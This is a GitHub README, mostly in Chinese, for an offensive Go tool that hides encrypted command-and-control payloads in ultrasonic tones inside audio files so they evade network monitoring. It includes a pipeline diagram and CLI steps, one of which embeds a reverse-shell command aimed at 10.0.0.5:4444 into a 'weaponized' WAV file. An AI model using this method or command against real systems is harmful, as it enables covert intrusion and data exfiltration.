vishnupalepu147/whispernet-go
GitHub: vishnupalepu147/whispernet-go
WhisperNet Go 是一个用 Go 编写的隐蔽声学 C2 框架,通过超声波将加密 payload 嵌入音频文件实现无网络流量的隐蔽通信。
Stars: 0 | Forks: 0
# 🎀 WhisperNet Go (Project BUlly) ✨




一个可爱但致命的隐蔽声学 Command & Control (C2) 框架,完全使用 Go 编写 💅🏻
WhisperNet 通过使用编码在普通媒体文件(WAV、MP3、MP4)中或通过物理扬声器广播的高频(18.5kHz - 19.5kHz)超声波来提取和传递 payload,从而完全绕过传统的网络监控工具。零网络流量,零怀疑。🤫
## 📑 目录
- [📌 项目概述](#-project-overview)
- [📂 仓库树](#-repository-tree)
- [✨ 特性](#-features)
- [💌 魔法如何连接](#-how-the-magic-connects)
- [🛠️ 让我们开始设置吧!](#️-lets-set-it-up)
- [🔒 免责声明](#-disclaimer)
## 📌 项目概述
- **作者**:Fiona Adrelia
- **项目类型**:隐蔽声学 Command & Control (C2) 框架 / 隐写术
- **编程语言**:Go (Golang)
- **支持的操作系统**:跨平台 (Linux, Windows, macOS)
- **依赖项**:无(可编译为单一静态二进制文件)
## 📂 仓库树
```
whispernet-go/
├── cmd/
│ └── whispernet/
│ └── main.go
├── pkg/
│ ├── crypto/
│ │ ├── cipher.go
│ │ └── crypto_test.go
│ └── embed/
│ ├── encoder.go
│ └── wav.go
├── cover.wav
├── exfil.wav
└── README.md
```
## ✨ 特性
- **无 Python 依赖**:单一的静态 Go 二进制文件 (`whispernet`)。零环境占用。🌸
- **不可听的遥测数据**:在人类听觉和大多数标准麦克风设置完全不可见的频段上使用 FSK 调制。🦇
- **军用级加密**:AES-256-GCM 认证加密,带有用于深度混淆的随机填充。🛡️
- **极度隐蔽**:专为红队和攻击性操作设计。他们根本察觉不到它的到来,因为他们确确实实听不到它。💋
## 💌 魔法如何连接
这里是 payload 注入流程的绝对机密!☕️
```
graph TD
%% 🎀 Aesthetic & Girly Styling
classDef core fill:#ffe4e1,stroke:#ffb6c1,stroke-width:2px,color:#b03060
classDef crypto fill:#e0b0ff,stroke:#dda0dd,stroke-width:2px,color:#4b0082
classDef audio fill:#e0ffff,stroke:#afeeee,stroke-width:2px,color:#008080
classDef output fill:#fff0f5,stroke:#ffb6c1,stroke-width:2px,color:#c71585
classDef signal fill:#f5fffa,stroke:#3cb371,stroke-width:2px,color:#2e8b57
classDef data fill:#fffacd,stroke:#f0e68c,stroke-width:2px,color:#8b8b00
subgraph LayerInput [😈 Phase 1: Input & C2 Entry]
PAYLOAD[[Raw Payload / Command]]:::core
CLI([🌸 WhisperNet CLI Interface]):::core
end
subgraph LayerCrypto [🔐 Phase 2: Cryptographic Obfuscation]
KEY[(AES-256 Key)]:::crypto
NONCE{{16-byte Random IV}}:::crypto
PAD{{1-32 byte Random Padding}}:::crypto
AES{AES-256-GCM Engine}:::crypto
BLOB[/Encrypted Blob\nPadSize|Pad|IV|Ciphertext|Tag/]:::crypto
end
subgraph LayerEncoding [⚙️ Phase 3: Telemetry & Error Correction]
B2B((Byte-to-Bit Conversion)):::data
LEN{{16-bit Length Prefix}}:::data
PRE{{Sync Preamble\n101010101111000010101010}}:::data
ECC{3x Redundancy Repetition}:::data
FRAME[/Data Frame/]:::data
end
subgraph LayerModulation [🎶 Phase 4: Acoustic Modulation]
FSK{FSK Modulator}:::signal
F0((Freq0: 18.5kHz)):::signal
F1((Freq1: 19.5kHz)):::signal
WND{{Hanning-style Windowing\nfor Smooth Transitions}}:::signal
PCM_OUT[/Int16 PCM Samples/]:::signal
end
subgraph LayerCarrier [🌊 Phase 5: Carrier Injection]
COVER[(🎵 Cover Audio\n44.1kHz / 48.0kHz)]:::audio
DEC((WAV Decoder\nExtract PCM)):::audio
MIX{Audio Mixer\nSignal Addition + Clipping Prev}:::audio
ENC((WAV Encoder)):::audio
EXFIL[(🎀 Weaponized exfil.wav)]:::output
end
%% Connections
PAYLOAD -->|Parsed via args| CLI
CLI -->|Init Cipher| AES
KEY -->|Loaded| AES
NONCE -->|Injected| AES
PAYLOAD -->|Plaintext| AES
AES -->|Produces| BLOB
PAD -.->|Prepended to| BLOB
BLOB --> B2B
B2B -->|Raw Bits| LEN
LEN -->|Prepended| ECC
ECC -->|Bit * 3| PRE
PRE -->|Prepended| FRAME
FRAME -->|Bitstream| FSK
F0 -.->|Bit 0| FSK
F1 -.->|Bit 1| FSK
FSK --> WND
WND -->|Normalized| PCM_OUT
COVER --> DEC
DEC -->|Host PCM Buffer| MIX
PCM_OUT -->|Ultrasonic Signal| MIX
MIX -->|Mixed PCM Buffer| ENC
ENC -->|Write| EXFIL
```
## 🛠️ 让我们开始设置吧!
拿一杯冰抹茶 🍵,打开你的终端,让我们编译这个美丽的杰作吧!
**步骤 1:生成你的密钥 🗝️**
```
./bin/whispernet -action keygen
```
*(保管好它,亲爱的!你稍后会需要它来解密提取的数据)*
**步骤 2:将 payload 嵌入到载体中 🎀**
获取任何普通的音频文件 (`cover.wav`) 并嵌入你的 reverse shell 命令或 payload。
```
./bin/whispernet -action embed \
-payload "cmd:reverse_shell 10.0.0.5 4444" \
-in cover.wav \
-out exfil.wav \
-key
```
输出的 `exfil.wav` 听起来会和 `cover.wav` 完全一样,但包含了隐藏的超声波 C2 信标。这简直就是“隐形刺客”。💅🏻
## 🔒 免责声明
🚨 **仅用于教育和授权的红队目的。** 🚨
此工具包是为合法的安全研究而开发的。未经明确授权,请勿在环境中使用此工具。保持可爱,保持合法。🌸
标签:C2框架, EVTX分析, Go, Ruby工具, 声学隐写, 安全学习资源, 日志审计, 网络信息收集, 隐蔽通信